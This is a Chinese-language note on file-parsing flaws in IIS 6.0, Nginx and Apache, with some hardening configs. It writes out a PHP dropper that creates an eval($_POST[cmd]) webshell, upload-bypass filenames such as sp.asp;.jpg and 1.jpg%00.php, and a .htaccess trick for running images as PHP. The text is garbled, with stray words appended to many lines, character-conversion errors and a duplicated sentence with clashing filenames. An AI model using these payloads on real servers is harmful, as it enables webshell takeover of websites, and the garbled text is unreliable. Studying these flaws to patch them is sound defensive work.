服务器解析漏洞算是历史比较悠久了，但现在依然普遍存在。在此记录汇总一些常见服务器（WEB server）的解析漏洞，好比IIS6.0、IIS7.五、apache、nginx等方便之后回顾温习。php
使用iis5.x-6.x版本的服务器，大多为windows server 2003，网站比较古老，开发语句通常为asp；该解析漏洞也只能解析asp文件，而不能解析aspx文件。python
IIS 6.0解析利用方法有两种nginx
1.目录解析shell
/xx.asp/xx.jpg
2.文件解析apache
sp.asp;.jpg
第一种，在网站下创建文件夹的名字为 .asp、.asa 的文件夹，其目录内的任何扩展名的文件都被IIS看成asp文件来解析并执行。windows
例如建立目录 sp.asp，那么安全
/sp.asp/1.jpg
将被看成asp文件来执行。假设黑阔能够控制上传文件夹路径,就能够无论你上传后你的图片改不更名都能拿shell了。服务器
第二种，在IIS6.0下，分号后面的不被解析，也就是说app
sp.asp;.jpg
会被服务器当作是sp.asppost
还有IIS6.0 默认的可执行文件除了asp还包含这三种
/sp.asa /sp.cer /sp.cdx
Nginx解析漏洞这个伟大的漏洞是我国安全组织80sec发现的…
在默认Fast-CGI开启情况下,黑阔上传一个名字为sp.jpg，内容为
<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>
的文件，而后访问sp.jpg/.php,在这个目录下就会生成一句话木马 shell.php
这个漏洞案例
WooYun: 用友软件某分站SQL注入漏洞+nginx解析漏洞//http://wy.hx99.net/
WooYun: 新浪网分站多处安全漏洞（nginx解析+SQL注射等）小礼包
WooYun: kingsoft.com某x级域名nginx解析漏洞+爆路径
1.目前尚无微软官方的补丁，能够经过本身编写正则，阻止上传xx.asp;.jpg类型的文件名。
2.作好权限设置，限制用户建立文件夹。
Apache 解析文件的规则是从右到左开始判断解析,若是后缀名为不可识别文件解析,就再往左判断。好比 sec.php.owf.rar “.owf”和”.rar” 这两种后缀是apache不可识别解析,apache就会把sec.php.owf.rar解析成php.
好比 test.php.owf.rar “.owf”和”.rar” 这两种后缀是apache不可识别解析,apache就会把wooyun.php.owf.rar解析成php。
如何判断是否是合法的后缀就是这个漏洞的利用关键,测试时能够尝试上传一个sec.php.rara.jpg.png…（把你知道的常见后缀都写上…）去测试是不是合法后缀
www.xxxx.xxx.com/test.php.php123
（1）若是在 Apache 的 conf 里有这样一行配置 AddHandler php5-script .php 这时只要文件名里包含.php 即便文件名是 test2.php.jpg 也会以 php 来执行。
（2）若是在 Apache 的 conf 里有这样一行配置 AddType application/x-httpd-php .jpg 即便扩展名是 jpg，同样能以 php 方式执行。
1.apache配置文件，禁止.php.这样的文件执行，配置文件里面加入
<Files ~ “.(php.|php3.)”>
Order Allow,Deny
Deny from all
</Files>
2.用伪静态能解决这个问题，重写相似.php.*这类文件，打开apache的httpd.conf找到LoadModule rewrite_module modules/mod_rewrite.so
把#号去掉，重启apache,在网站根目录下创建.htaccess文件,代码以下:
复制代码 <IfModule mod_rewrite.c> RewriteEngine On RewriteRule .(php.|php3.) /index.php RewriteRule .(pHp.|pHp3.) /index.php RewriteRule .(phP.|phP3.) /index.php RewriteRule .(Php.|Php3.) /index.php RewriteRule .(PHp.|PHp3.) /index.php RewriteRule .(PhP.|PhP3.) /index.php RewriteRule .(pHP.|pHP3.) /index.php RewriteRule .(PHP.|PHP3.) /index.php </IfModule> 复制代码
影响版:0.5.,0.6., 0.7 <= 0.7.65, 0.8 <= 0.8.37
Nginx在图片中嵌入PHP代码而后经过访问
xxx.jpg%00.php
来执行其中的代码
Nginx 空字节代执行漏洞案例
http://www.wooyun.org/searchbug.php?q=%2500.php
Nginx默认是以CGI的方式支持PHP解析的，广泛的作法是在Nginx配置文件中经过正则匹配设置SCRIPT_FILENAME。当访问www.xx.com/phpinfo.jpg/1.php这个URL时，$fastcgi_script_name会被设置为“phpinfo.jpg/1.php”，而后构形成SCRIPT_FILENAME传递给PHP CGI，可是PHP为何会接受这样的参数，并将phpinfo.jpg做为PHP文件解析呢?这就要说到fix_pathinfo这个选项了。 若是开启了这个选项，那么就会触发在PHP中的以下逻辑：
PHP会认为SCRIPT_FILENAME是phpinfo.jpg，而1.php是PATH_INFO，因此就会将phpinfo.jpg做为PHP文件来解析了
www.xxxx.com/UploadFiles/image/1.jpg/1.php
www.xxxx.com/UploadFiles/image/1.jpg%00.php
www.xxxx.com/UploadFiles/image/1.jpg/%20\0.php
xxx.jpg%00.php (Nginx <8.03 空字节代码执行漏洞)
另一种手法：上传一个名字为test.jpg，如下内容的文件。
<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>
而后访问test.jpg/.php,在这个目录下就会生成一句话木马shell.php。
使用phpstudy测试，默认配置便可（虽然默认的cgi.fix_pathinfo是注释状态，但的确默认值为1）。nginx版本1.11.5 （可见并非）
1.修改php.ini文件，将cgi.fix_pathinfo的值设置为0;
2.在Nginx配置文件中添加如下代码：
if ( $fastcgi_script_name ~ ..*/.*php ) {
return 403;
}
这行代码的意思是当匹配到相似test.jpg/a.php的URL时，将返回403错误代码。
在windows环境下，xx.jpg[空格] 或xx.jpg. 这两类文件都是不容许存在的，若这样命名，windows会默认除去空格或点,黑客能够经过抓包，在文件名后加一个空格或者点绕过黑名单。
若上传成功，空格和点都会被windows自动消除,这样也能够getshell。
若是在Apache中.htaccess可被执行.且可被上传.那能够尝试在.htaccess中写入:
<FilesMatch "sec.jpg"> SetHandler application/x-httpd-php </FilesMatch>
而后再上传shell.jpg的木马, 这样shell.jpg就可解析为php文件。